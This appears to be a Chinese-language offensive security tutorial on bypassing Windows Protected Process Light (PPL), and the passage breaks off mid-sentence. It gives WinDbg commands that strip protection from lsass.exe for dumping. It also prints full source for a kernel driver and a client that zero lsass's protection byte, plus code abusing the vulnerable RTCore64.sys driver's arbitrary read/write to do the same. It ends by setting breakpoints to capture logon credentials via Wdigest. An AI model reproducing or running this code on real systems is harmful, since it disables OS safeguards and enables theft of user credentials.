Windows PPL攻击
漏洞分析
随着安全威胁的演变,微软需要一种更强大的机制来**保护系统进程免受篡改**。微软从**Windows8.1**和**Windows Server 2012 R2**开始引入了受保护的轻量级进程,也就是``Protected Process Loght``,简称``PPL``
随着安全威胁的演变,微软需要一种更强大的机制来**保护系统进程免受篡改**。微软从**Windows8.1**和**Windows Server 2012 R2**开始引入了受保护的轻量级进程,也就是`Protected Process Loght`,简称`PPL` `PPL`通过将访问权限限制为**仅受信任的组件**来保护重要的进程。与常规的进程不同,`PPL`的进程是受到保护的,可以**防止被调试**,**代码注入或内存读写**。我们可以理解为`PPL`是为系统中重要的进程套了一层壳子。 因此微软引入了 "**保护级别**" 的概念,这意味着某些进程可以比其他进程获得更高程度的保护。 进程的保护级别以**一**个字节的形式存储在内核层中。该值位于每一个进程的`EPROCESS`结构体中。具体是在`Protection`字段,该字段占用**1**个字节。 `Protection`字段被拆分为三个部分,分别为`Type`(类型),`Audit`(审计),`Signer`(签名者)。`Type`类型占**3**位,该类型定义了**进程是受保护进程**还是**受保护的轻量进程**或**无保护进程**。 `Audit`审计位通常被保留并始终为**零**。它占一位,用于指示是否对违反保护机制的行为启用审计。 而`Signer`字段占用4位,它表示签名者。这四位标识了谁对该进程进行了签名,比如是`Windows` `Lsa` `反恶意软件`等等。  现在我们可以发现`Windows`中用于`PPL`或`PP`机制下保护进程的不同保护级别。`Audit`位固定为0,`Signer`表示负责该进程实体的信任级别,例如`WinSystem` `WinTcb` `Windows` `LSA`等等。并由一个数字ID来标识。在这种情况下,`Type`定义了保护的强度。其中 **Protected (Type 2)** 提供比 **Protected Light (Type 1)** 更强的隔离性。  例如如上图中的`PS_PROTECTED_SYSTEM`的十六进制保护值为: **0x72**,该值是通过`WinSystem`签名者和保护类型`Protected(2)`的值组合来的。 比如`Winsystem`的数字`ID`为`7`,转换二进制为`0111` 而`Protected`的ID为2,转换为二进制为: `0010`。所以组合就是`01110010`。转换为十六进制就是`0x72`。 还有我们熟知的`PS_PROTECTED_LSA_LIGHT`,它的十六进制保护值为: **0x41**,它是由`LSA`签名者和`Protected Light(1)`保护类型组合得到的。 #### PPL实例 现在让我们来使用`Windbg`来操作进程的保护级别,这里以一个`Notepad.exe`记事本进程为例。我们将使用`Windbg`来查看该进程的保护级别。 首先通过如下命令获取到`notepad.exe`记事本进程的地址。 ```php !process 0 0 notepad.exe ```  下一步则是查看`notepad.exe`进程的`Protection`字段的值。 ```c dt nt!_EPROCESS Protection ```  从如上图我们可以得知`Notepad.exe`进程没有受到任何保护,其`Protection`的字段为空,标识它并不是一个受保护的进程。这意味着它可能被相同或更高完整性级别的进程访问或修改。 现在我们将通过`Windbg`来将`Notepad.exe`进程的保护级别十六进制值修改为`0x41`,`0x41`代表了 **"LSA进程"** 级别的保护。 我们将使用`eb`命令进行修改。`eb`命令用于写入一个字节的值。 ```c eb 0x41 ``` 可以看到我们成功的将`notepad.exe`进程的保护级别更改为了`PsProtectedSignerLsa-Loght`。 那么既然可以为普通进程进行保护操作,那么也可以移除其他进程上的受保护级别。比如这里最典型的就是`lsass.exe`进程了。 该进程是受保护的,且受保护的级别为`PsProtectedSignerLsa-Light`。  从windbg中查看。  如果我们直接在进程管理器这里创建转储文件,会发生拒绝访问的错误。  那么我们还是一样通过`eb`指令来将其保护级别移除掉。 ```c eb ffffcd068219c080+0x87a 0x0 ```  移除之后再次进行转储,发现可以了。  #### 编写自定义Rootkit 现在我们来通过代码的方式来绕过PPL。首先来看一下驱动层的代码。首先是`DriverEntry`的代码,在该函数中我们设置根据不同的IRP类型所调用的派遣函数。以及创建设备和设备链接用于用户层和驱动设备进行通信。 ```c //主函数 驱动加载时会执行该函数 extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { //抑制报错 UNREFERENCED_PARAMETER(RegistryPath); //根据IRP类型设置派遣函数 DriverObject->MajorFunction[IRP_MJ_CREATE] = PPLCreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = PPLCreateClose; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = PPLDeviceControl; //设置Unload例程 DriverObject->DriverUnload = PPLUnload; //创建设备 UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\PPLManager"); PDEVICE_OBJECT DeviceObject; IoCreateDevice(DriverObject,0,&devName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,FALSE,&DeviceObject); //设置缓冲区 DeviceObject->Flags |= DO_BUFFERED_IO; //创建设备链接 UNICODE_STRING SymLink = RTL_CONSTANT_STRING(L"\\??\\PPLManager"); IoCreateSymbolicLink(&SymLink, &devName); //获取到Protection偏移 不同的Windows版本中的EPROCESS结构中的偏移是不一样的 if (GetProtectionOffset()) { DbgPrintEx(0, 0, "[%s] Unsupported windows build !\n", DRIVER_NAME); PPLUnload(DriverObject); return (STATUS_UNSUCCESSFUL); } return STATUS_SUCCESS; } ``` 其中调用`GetProtectionOffset`函数来根据不同的`Windows`版本来获取`Protection`成员偏移量。因为不同版本的`Windows`的`EPROCESS`结构是不同的。 该函数主要利用`RTL_OSVERSIONINFOW`结构体,该结构体中的`dwBuildNumber`成员表示操作系统的内部版本号。根据操作系统的内部版本号来返回不同的偏移量。返回的偏移量我们将其存储到`ProtectionOffset`变量中。 这些偏移量都是从`vergiliusproject.com`中获取到的。在这里选择你的`Windows`版本,比如这里我选择`Windows 10`。  进入后搜索`EPROCESS`结构体。   如上图中的`0x87a`对应的`Windows10`版本。 ```c NTSTATUS GetProtectionOffset() { RTL_OSVERSIONINFOW pversion; //获取系统版本信息 RtlGetVersion(&pversion); //根据操作系统内部版本来返回Protection的偏移 if (pversion.dwBuildNumber == 9600) { ProtectionOffset = 0x67a; } else if (pversion.dwBuildNumber == 10240) { ProtectionOffset = 0x6aa; } else if (pversion.dwBuildNumber == 10586) { ProtectionOffset = 0x6b2; } else if (pversion.dwBuildNumber == 14393) { ProtectionOffset = 0x6c2; } else if (pversion.dwBuildNumber == 15063) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 16299) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 17134) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 17763) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 18362) { ProtectionOffset = 0x6fa; } else if (pversion.dwBuildNumber >= 19041) { ProtectionOffset = 0x87a; } else { ProtectionOffset = 0; } if (ProtectionOffset) return STATUS_SUCCESS; return STATUS_UNSUCCESSFUL; } ``` 下面我们来看看当`IRP`类型为`IRP_MJ_DEVICE_CONTROL`时所调用的`PPLDeviceControl`派遣函数。 首先该函数获取到从用户模式进程传递到输入缓冲区中的数据,然后根据IOCTL控制码来执行不同的逻辑。  这里将通过调用`PsLookupProcessByProcessId`函数,该函数接收进程的`Pid`,通过该函数获取到进程的`EPROCESS`结构的地址,通过`EPROCESS`结构体的地址加上上面获取到的`Protecion`偏移量来得到`Protecion`成员的地址。然后将从用户层传递过来的`ProtectionLevel`的值赋值给它从而修改进程的保护等级。  完整代码: ```c #include #include #define DRIVER_NAME "PPLManager" typedef struct { unsigned long Pid; unsigned char ProtectionLevel; } ProtectionInfo; //当IRP类型为IRP_MJ_CREATE调用到PPLCreateClose函数 NTSTATUS PPLCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject); Irp->IoStatus.Status = STATUS_SUCCESS; //设置返回值 Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } typedef unsigned char BYTE; //Protection成员的偏移值 ULONG ProtectionOffset = 0; //当IRP类型为IRP_MJ_DEVICE_CONTROL时会调用到PPLDeviceControl函数 NTSTATUS PPLDeviceControl(PDEVICE_OBJECT, PIRP Irp) { //获取到当前IRP堆栈的位置 NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); //判断输入缓冲区是否小于Protection结构的大小 if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(ProtectionInfo)) { status = STATUS_BUFFER_TOO_SMALL; } else { //获取到系统缓冲区Buffer 赋值给ProtectionInfo结构指针 ProtectionInfo* protectionInfo = (ProtectionInfo*)Irp->AssociatedIrp.SystemBuffer; //获取其输入的Pid unsigned long Pid = protectionInfo->Pid; //获取其protectionLevel BYTE ProtectionLevel = protectionInfo->ProtectionLevel; //根据IOCTL控制码来执行相应的逻辑代码 switch (stack->Parameters.DeviceIoControl.IoControlCode) { case 0x8098C: { PEPROCESS process; if (NT_SUCCESS(PsLookupProcessByProcessId(UlongToHandle(Pid), &process))) { DbgPrintEx(0, 0, "[%s] EPROCESS Address: %p\n", DRIVER_NAME, process); //eprocess地址加上Protection成员的偏移 获取到Protection成员的地址 ULONG_PTR ProtectionLeve2 = (ULONG_PTR)process + ProtectionOffset; //将传递过来的ProtectionLevel设置给ProtectionLevel *(BYTE*)ProtectionLeve2 = ProtectionLevel; ObDereferenceObject(process); } else { status = STATUS_NOT_FOUND; } break; } default: status = STATUS_INVALID_DEVICE_REQUEST; break; } } Irp->IoStatus.Status = status; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return status; } //Unload例程 void PPLUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING SymLink = RTL_CONSTANT_STRING(L"\\??\\PPLManager"); //删除设备链接 IoDeleteSymbolicLink(&SymLink); //删除设备 IoDeleteDevice(DriverObject->DeviceObject); //打印输出 DbgPrintEx(0,0,"[%s] Driver Unloaded.", DRIVER_NAME); } NTSTATUS GetProtectionOffset() { RTL_OSVERSIONINFOW pversion; //获取系统版本信息 RtlGetVersion(&pversion); //根据操作系统内部版本来返回Protection的偏移 if (pversion.dwBuildNumber == 9600) { ProtectionOffset = 0x67a; } else if (pversion.dwBuildNumber == 10240) { ProtectionOffset = 0x6aa; } else if (pversion.dwBuildNumber == 10586) { ProtectionOffset = 0x6b2; } else if (pversion.dwBuildNumber == 14393) { ProtectionOffset = 0x6c2; } else if (pversion.dwBuildNumber == 15063) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 16299) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 17134) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 17763) { ProtectionOffset = 0x6ca; } else if (pversion.dwBuildNumber == 18362) { ProtectionOffset = 0x6fa; } else if (pversion.dwBuildNumber >= 19041) { ProtectionOffset = 0x87a; } else { ProtectionOffset = 0; } if (ProtectionOffset) return STATUS_SUCCESS; return STATUS_UNSUCCESSFUL; } //主函数 驱动加载时会执行该函数 extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { //抑制报错 UNREFERENCED_PARAMETER(RegistryPath); //根据IRP类型设置派遣函数 DriverObject->MajorFunction[IRP_MJ_CREATE] = PPLCreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = PPLCreateClose; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = PPLDeviceControl; //设置Unload例程 DriverObject->DriverUnload = PPLUnload; //创建设备 UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\PPLManager"); PDEVICE_OBJECT DeviceObject; IoCreateDevice(DriverObject,0,&devName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,FALSE,&DeviceObject); //设置缓冲区 DeviceObject->Flags |= DO_BUFFERED_IO; //创建设备链接 UNICODE_STRING SymLink = RTL_CONSTANT_STRING(L"\\??\\PPLManager"); IoCreateSymbolicLink(&SymLink, &devName); //获取到Protection偏移 不同的Windows版本中的EPROCESS结构中的偏移是不一样的 if (GetProtectionOffset()) { DbgPrintEx(0, 0, "[%s] Unsupported windows build !\n", DRIVER_NAME); PPLUnload(DriverObject); return (STATUS_UNSUCCESSFUL); } return STATUS_SUCCESS; } ``` 现在来看看用户层的代码。在用户层首先需要判断当前进程是否是高完整性的,其实也就是说是否是管理员运行的。  下一步则是启用调试权限。  然后打开驱动设备句柄,构造结构体,发送I/O请求即可。 ```c //打开驱动设备句柄 HANDLE hDevice = CreateFileA("\\\\.\\PPLManager", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0,NULL); if(hDevice == INVALID_HANDLE_VALUE){ printf("error device!!!"); return -1; } //发送I/O设备请求 ProtectionInfo protection = { 0 }; protection.Pid = 848; protection.ProtectionLevel = 0; DWORD BytesReturned = NULL; DeviceIoControl(hDevice, 0x8098C, &protection, sizeof(protection), &protection, sizeof(protection), &BytesReturned, NULL); ``` 完整代码: ```c #include #include BOOL IsProcessHigthIntegrity() { //获取当前进程的令牌 HANDLE processToken = NULL; PTOKEN_MANDATORY_LABEL tokenLabel = NULL; DWORD integrityLevel = 0; BOOL result = FALSE; OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,&processToken); //第一次调用是为了告诉系统存储完整性级别需要多大的空间 这里通过labelSize返回 DWORD labelSize = 0; if (!GetTokenInformation(processToken, TokenIntegrityLevel, NULL, 0, &labelSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { //分配内存用于存储完整性级别 tokenLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, labelSize); } //第二次调用填充数据 if (GetTokenInformation(processToken, TokenIntegrityLevel, tokenLabel, labelSize, &labelSize)) { //获取到SID中 子权威的总数 PUCHAR pCountAddr = GetSidSubAuthorityCount(tokenLabel->Label.Sid); DWORD count = (DWORD)(*pCountAddr); //计算最后一个子权威的索引 DWORD lastIndex = count - 1; //获取向该子权威数值的指针 PDWORD pIntegrityValueAddr = GetSidSubAuthority(tokenLabel->Label.Sid, lastIndex); integrityLevel = *pIntegrityValueAddr; //最后进行比较 if (integrityLevel >= SECURITY_MANDATORY_HIGH_RID) { result = TRUE; } } LocalFree(tokenLabel); CloseHandle(processToken); return result; } BOOL SetDebugPrivilege() { HANDLE tokenHandle = NULL; TOKEN_PRIVILEGES privileges = { 0 }; // 尝试打开当前进程的令牌(Token) // TOKEN_ADJUST_PRIVILEGES:允许修改权限 // TOKEN_QUERY:允许查询令牌信息 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tokenHandle)) { MessageBoxA(0, "SetDebugPrivilege:打开进程令牌失败", "错误", MB_ICONWARNING); return FALSE; } // 查找“调试特权”(SeDebugPrivilege)对应的本地唯一标识符(LUID) // 权限名字符串 SE_DEBUG_NAME 实际上就是 "SeDebugPrivilege" LUID luid; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { MessageBoxA(0, "SetDebugPrivilege:查找权限 LUID 失败", "错误", MB_ICONWARNING); CloseHandle(tokenHandle); return FALSE; } // 填充权限调整结构体 privileges.PrivilegeCount = 1; // 打算修改 1 个权限 privileges.Privileges[0].Luid = luid; // 指定为调试权限的 LUID privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置状态为:启用 //将调整后的权限应用到当前进程的令牌中 if (!AdjustTokenPrivileges(tokenHandle, FALSE, &privileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { MessageBoxA(0, "SetDebugPrivilege:调整令牌权限失败", "错误", MB_ICONWARNING); CloseHandle(tokenHandle); return FALSE; } // 关键检查:AdjustTokenPrivileges 即使部分失败也可能返回 TRUE // 必须使用 GetLastError 确认权限是否真正被全部分配 if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { MessageBoxA(0, "SetDebugPrivilege:未能在令牌中分配该权限 (可能权限不足)", "错误", MB_ICONWARNING); CloseHandle(tokenHandle); return FALSE; } // 清理并返回成功 CloseHandle(tokenHandle); return TRUE; } typedef struct { unsigned long Pid; unsigned char ProtectionLevel; } ProtectionInfo; int main() { //判断是否是高完整性级别 if (!IsProcessHigthIntegrity()) { return -1; } //启用进程调试权限 if (!SetDebugPrivilege()) { return -1; } //打开驱动设备句柄 HANDLE hDevice = CreateFileA("\\\\.\\PPLManager", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0,NULL); if(hDevice == INVALID_HANDLE_VALUE){ printf("error device!!!"); return -1; } //发送I/O设备请求 ProtectionInfo protection = { 0 }; protection.Pid = 848; protection.ProtectionLevel = 0; DWORD BytesReturned = NULL; DeviceIoControl(hDevice, 0x8098C, &protection, sizeof(protection), &protection, sizeof(protection), &BytesReturned, NULL); } ``` 现在我们来看看效果,首先我们先去加载我们的驱动文件。  紧接着下一步则是运行我们的程序,在没有运行之前`lsass.exe`进程是受保护的。  当我们运行过后,该保护级别将被移除掉。  #### 利用RTCore64绕过PPL 利用`RTCore64.sys`驱动程序来绕过`PPL`。首先现在来看一下步骤。 1. 首先第一步是从命令行中获取到你要修改的目标进程`PID`以及你要修改为那个保护等级,也就是`Protection`的值。`Protection`传递的值是一个`16`进制的。之后根据`Windows`版本的信息来获取到`UniqueProcessId`和`ActiveProcessLinks`的偏移量,`ActiveProcessLinks`在内核中是双向链表的结构,我们后续需要利用该成员来遍历得到目标进程的`EPROCESS`地址。`UniqueProcessId`则是进程的PID。然后是获取到`Protection`字段的偏移量,根据`Windows`版本信息来获取,和之前自定义`Rootkit`哪里是一样的。 2. 第二步通过`SCM Manager`管理器来启动驱动服务,然后通过`CreateFile`函数来打开驱动设备的句柄。通过`EnumDeviceDrivers`函数获取到`Ntoskrnl.exe`模块的基地址,将其`Ntoskrnl.exe`模块加载到内存中。获取到`PsInitialSystemProcess`变量的偏移值。`PsInitialSystemProcess`指向了`System`进程的`EPROCESS`结构体。所以根据`PsInitialSystemProcess`的偏移值加上`Ntoskrnl.exe`模块的基地址。通过`RTCore64.sys`驱动程序的任意读来读取`PsInitialSystemProcess`在内核中的实际值。 3. 第三步通过`System`进程的`EPROCESS`结构体的地址加上双向链表字段作为表头来访问该双向链表,然后遍历双向链表,通过任意读漏洞来获取到进程的PID,然后和我们传递进去的PID进行比较,如果比较成功,则获取到目标进程的`EPROCESS`结构。 4. 最后一步拿到目标进程`EPROCESS`结构后,加上`Protection`成员的偏移量就可以获取其地址,然后通过任意写漏洞将其要修改的保护级别十六进制数字写入到其中。 现在我们来看一下第一步的代码:  主要是通过`GetOffset1`函数和`GetProtection`函数来获取的`UniqueProcessId` `ActiveProcessLinks` `Protection`成员的偏移量。 代码如下: ```c BOOL GetOffset1() { //初始化RTL_OSVERSIONINFOW结构 RTL_OSVERSIONINFOW versionInfo = { 0 }; versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); //调用RtlGetVersion函数来获取Windows版本信息 if (RtlGetVersion(&versionInfo) == 0) { printf("Windows Version: %lu.%lu (Build: %lu)\n", versionInfo.dwMajorVersion, versionInfo.dwMinorVersion, versionInfo.dwBuildNumber); } else { printf("Failed to get Windows version.\n"); return FALSE; } //根据Windows版本 返回不同的偏移量 返回的主要是UniqueProcessId和ActiveProcessLinks字段 这两个字段分贝用于识别目标进程ID和遍历进程列表 if (versionInfo.dwBuildNumber == 3790) { myOffsets1.UniqueProcessIdOffset = 0xd8; myOffsets1.ActiveProcessLinksOffset = 0xe0; } else if (versionInfo.dwBuildNumber == 6000 || versionInfo.dwBuildNumber == 6001 || versionInfo.dwBuildNumber == 6002) { myOffsets1.UniqueProcessIdOffset = 0xe0; myOffsets1.ActiveProcessLinksOffset = 0xe8; } else if (versionInfo.dwBuildNumber == 7600 || versionInfo.dwBuildNumber == 7601) { myOffsets1.UniqueProcessIdOffset = 0x180; myOffsets1.ActiveProcessLinksOffset = 0x188; } else if (versionInfo.dwBuildNumber == 9200) { myOffsets1.UniqueProcessIdOffset = 0x2e0; myOffsets1.ActiveProcessLinksOffset = 0x2e8; } else if (versionInfo.dwBuildNumber >= 9200 && versionInfo.dwBuildNumber <= 9600) { myOffsets1.UniqueProcessIdOffset = 0x2e0; myOffsets1.ActiveProcessLinksOffset = 0x2e8; } else if (versionInfo.dwBuildNumber >= 10240 && versionInfo.dwBuildNumber <= 14393) { myOffsets1.UniqueProcessIdOffset = 0x2e8; myOffsets1.ActiveProcessLinksOffset = 0x2f0; } else if (versionInfo.dwBuildNumber >= 15063 && versionInfo.dwBuildNumber <= 17763) { myOffsets1.UniqueProcessIdOffset = 0x2e0; myOffsets1.ActiveProcessLinksOffset = 0x2e8; } else if (versionInfo.dwBuildNumber == 18362) { myOffsets1.UniqueProcessIdOffset = 0x2e8; myOffsets1.ActiveProcessLinksOffset = 0x2f0; } else if (versionInfo.dwBuildNumber >= 19041) { myOffsets1.UniqueProcessIdOffset = 0x440; myOffsets1.ActiveProcessLinksOffset = 0x448; } else { //如果都不符号windows版本 则返回0x0 myOffsets1.UniqueProcessIdOffset = 0x0; myOffsets1.ActiveProcessLinksOffset = 0x0; return FALSE; } return TRUE; } ``` ```c BOOL GetProtection() { //初始化RTL_OSVERSIONINFOW结构 RTL_OSVERSIONINFOW versionInfo = { 0 }; versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); //获取到windows系统版本信息 if (RtlGetVersion(&versionInfo) == 0) { printf("Windows Version: %lu.%lu (Build: %lu)\n", versionInfo.dwMajorVersion, versionInfo.dwMinorVersion, versionInfo.dwBuildNumber); } else { printf("Failed to get Windows version.\n"); return FALSE; } // 根据windows版本信息来填充Protection偏移量的值 if (versionInfo.dwBuildNumber == 9600) { OxProtection = 0x67a; } else if (versionInfo.dwBuildNumber == 10240) { OxProtection = 0x6aa; } else if (versionInfo.dwBuildNumber == 10586) { OxProtection = 0x6b2; } else if (versionInfo.dwBuildNumber == 14393) { OxProtection = 0x6c2; } else if (versionInfo.dwBuildNumber == 15063) { OxProtection = 0x6ca; } else if (versionInfo.dwBuildNumber == 16299) { OxProtection = 0x6ca; } else if (versionInfo.dwBuildNumber == 17134) { OxProtection = 0x6ca; } else if (versionInfo.dwBuildNumber == 17763) { OxProtection = 0x6ca; } else if (versionInfo.dwBuildNumber == 18362) { OxProtection = 0x6fa; } else if (versionInfo.dwBuildNumber >= 19041) { OxProtection = 0x87a; } else { OxProtection = 0x0; return FALSE; } return TRUE; } ``` 现在获取到这些偏移量后,就可以来启动驱动服务了。启动驱动服务是通过`CreateService`来创建驱动服务,后续通过`StartService`函数来启动驱动服务。 ```c BOOL LoadDriver(const wchar_t* driverName, const wchar_t* driverPath) { //打开SCM Manager管理器句柄 SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (scmHandle == NULL) { return FALSE; } //创建驱动服务 SC_HANDLE serviceHandle = CreateService( scmHandle, driverName, driverName, SERVICE_START | DELETE | SERVICE_STOP, SERVICE_KERNEL_DRIVER, //服务类型为驱动类型 SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driverPath, NULL, NULL, NULL, NULL, NULL ); if (serviceHandle == NULL) { if (GetLastError() == ERROR_SERVICE_EXISTS) { serviceHandle = OpenService(scmHandle, driverName, SERVICE_START); } else { CloseServiceHandle(scmHandle); return FALSE; } } //启动服务 if (StartService(serviceHandle, 0, NULL)) { printf("[+] Driver loaded successfully!\n"); } else { printf("[-] Failed to start service.\n"); return FALSE; } CloseServiceHandle(serviceHandle); CloseServiceHandle(scmHandle); return TRUE; } ``` 下一步则是来修改目标进程`Protection`字段的值。所以首先第一步是获取到驱动设备的句柄,这将使用`CreateFile`函数来打开驱动设备的句柄。 ```c HANDLE GetDeviceHandle() { HANDLE Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); if (Device == INVALID_HANDLE_VALUE) { ExitProcess(0); } return Device; } ``` 下一步是获取到`Ntoskrnl.exe`模块的基地址,获取内核模块的基地址主要是为了后续来获取`PsInitialSystemProcess`变量的地址。 主要是通过`EnumDeviceDrivers`函数来列出系统中所有已加载的驱动模块,第一个枚举出来的永远都是内核模块,也就是`ntoskrnl.exe`模块。 ```c //通过由EnumDeviceDrivers函数来获取到Ntoskrnl.exe的基地址 DWORD64 GetKernelBaseAddr() { DWORD cb = 0; LPVOID drivers[1024]; //枚举系统上的驱动模块 返回到drivers列表中 if (EnumDeviceDrivers(drivers, sizeof(drivers), &cb)) { return (DWORD64)drivers[0]; } return NULL; } ``` 得到了`Ntoskrnl.exe`模块的基地址后,将其`ntoskrnl.exe`模块加载到内存中,然后是获取`PsInitialSystemProcess`变量的偏移量。首先通过`GetProcAddress`函数来获取到`PsInitialSystemProcess`地址,然后使用加载到内存中的`Ntoskrnl`基地址减去`PsInitialSystemProcess`就得到了`PsInitialSystemProcess`的偏移。 ```c HMODULE ntoskrnl = LoadLibraryA("ntoskrnl.exe"); DWORD64 PsInitialSystemProcessOffset = (DWORD64)GetProcAddress(ntoskrnl, "PsInitialSystemProcess") - (DWORD64)ntoskrnl; ``` 现在已经得到了`PsInitialSystemProcess`的偏移,使用`RTCore64.sys`驱动程序的任意读漏洞来读取 "**Ntoskrnl.exe模块的基地址 + PsInitialSystemProcess的偏移 = 内核内存中的绝对地址** " 读取出来的值正是 "**System进程**" 的**EPROCESS结构体**在内核中的起始地址。 ```c DWORD64 PsInitialSystemProcessAddr = ReadMemoryDWORD64(hDevice, KernelAddr + PsInitialSystemProcessOffset); ``` 所以现在我们已经获取到 "**System进程**" 在内核中的**EPROCESS结构体**的初始地址。那么前面获取到的那些偏移量就有用武之地了。 通过**System进程**的**EPROCESS结构体**的地址加上`ActiveProcessLinksOffset`偏移就得到了从 "**System进程**"开始的进程双向链表的起始地址。让其 "**System进程**" 开始的双向链表的地址作为表头开始遍历。 判断获取到的**进程PID**是否是我们传递进去的**PID**,如果是的话,则直接**Break**退出,当**Break**退出时,此时的`CurrentProcessAddress`将指向目标进程的**双向链表**的地址。 ```c DWORD64 ProcessHead = PsInitialSystemProcessAddr + myOffsets1.ActiveProcessLinksOffset; DWORD64 CurrentProcessAddress = ProcessHead; //遍历双向链表以寻找到目标进程 do { //通过减去ActiveProcessLinks的偏移量 计算出当前EPROCESS结构体的基地址 DWORD64 ProcessAddress = CurrentProcessAddress - myOffsets1.ActiveProcessLinksOffset; //通过EPROCESS结构体的地址+UniqueProcessId的偏移量获取到进程的PID DWORD64 UniqueProcessId = ReadMemoryDWORD64(hDevice, ProcessAddress + myOffsets1.UniqueProcessIdOffset); //判断进程是否是我们传递进去的进程 if (UniqueProcessId == TargetProcessId) { //如果是的话直接break break; } //通过读取ActiveProcessLinks的Flink来移动到下一个进程 CurrentProcessAddress = ReadMemoryDWORD64(hDevice, ProcessAddress + myOffsets1.ActiveProcessLinksOffset); } while (CurrentProcessAddress != ProcessHead); ``` 所以下一步则是通过目标进程的双向链表地址减去链表的偏移则得到目标进程的EPROCESS结构体的起始地址。 ```c //通过双向链表的地址减去ActiveProcessLink的偏移量得到目标进程的EPROCESS结构体地址 CurrentProcessAddress -= myOffsets1.ActiveProcessLinksOffset; ``` 最后通过`WriteMemoryPrimitive`函数来利用`RTCore64.sys`驱动程序的**任意写漏洞**来写入**1**个字节到**Protection**字段中。 ```c WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + OxProtection, protectionLevel & 0xff); ``` 现在来看看效果,首先在没有移除之前`lsass.exe`进程是受保护的。  运行之后,可以看到已被移除掉。  #### Credential Guard(凭据守卫)介绍 `Gredential Guard`凭据守卫是微软推出的一项重要的安全功能,最早在`Windows10企业版` 和 `Windows Server 2016`中引入。 它的设计初衷是基于虚拟化的安全性**VBS**来保护 **LSA凭据**。在旧版本的`Windows`中,凭据数据直接存储在`lsass.exe`进程中。而现在,这些**凭据**,例如**NTML哈希**和**Kerberos TGS票据**被存储在一个名为**LSAISO.EXE**的受保护容器中。 这种隔离机制使得很多凭据转储工具都失效了,从**Windows11 22H2**和**Windows Server 2025**开始,**Credential Guard**已默认启用。 **主Lasss.exe进程**和**隔离的LSAISO.exe进程**之间通过**RPC(远程过程调用)**进行通信,如果要查询**Credential Guard**是否正在运行,可以使用如下命令查询: ```c (Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning ``` 如果输出为1,则代表Credential Guard已启用,如果输出为0,则表示它未运行或已被禁用。  现在让我们来看看Lsa的内部机制,Lsa进程启动时会加载`Wdigest.dll`模块。  该模块使用`SpAcceptCredentials`回调函数来管理凭据。 尤其是在用户登录期间。它的核心任务是将凭据移交给`Wdigest`软件包,从而允许该包对这些凭据进行缓存或存储,以备后续的身份验证操作使用。 该函数的第一个参数是**登录类型**,比如**交互式登录**,**网络登录**。第二个参数是一个指向Unicode的字符串结构的指针,用于指定**登录账户的名称**。第三个参数是一个指向**SECPKG\_PRIMARY\_CRED结构的指针,其中包含登录的凭据**。 现在我们在该函数下一个断点: 需要注意的是我们的Windbg现在在是在内核中调试,如果我们要在用户层程序的DLL模块的某个函数去下断点,首先需要切换进程上下文,由于`Wdigest.dll`模块是在`lsass.exe`进程中加载的,所以需要将调试器切换到`lsass.exe`进程空间中。 首先查看`lsass.exe`进程的地址: ```c !process 0 0 lsass.exe ```  得到`lsass.exe`进程的地址后,切换到该进程。 ```c .process /i /p <Address> g ```  接下来是强制刷新用户模式符号。 ```c .reload /user ```  现在我们来验证`WDigest`是否被加载。 ```c lm m wdigest* ```  接下来就可以来下断点了。 ```c bp Wdigest!SpAcceptCredentials ```  当我们在用户界面进行交互式登录时,该断点将被触发。  现在我们主要来看一下`SpAcceptCredentials`函数的第三个参数,前面说到过该函数的第三个参数指向**SECPKG\_PRIMARY\_CRED结构的指针,其中包含登录的凭据**。 在`x64`架构中传参是通过`RCX RDX R8 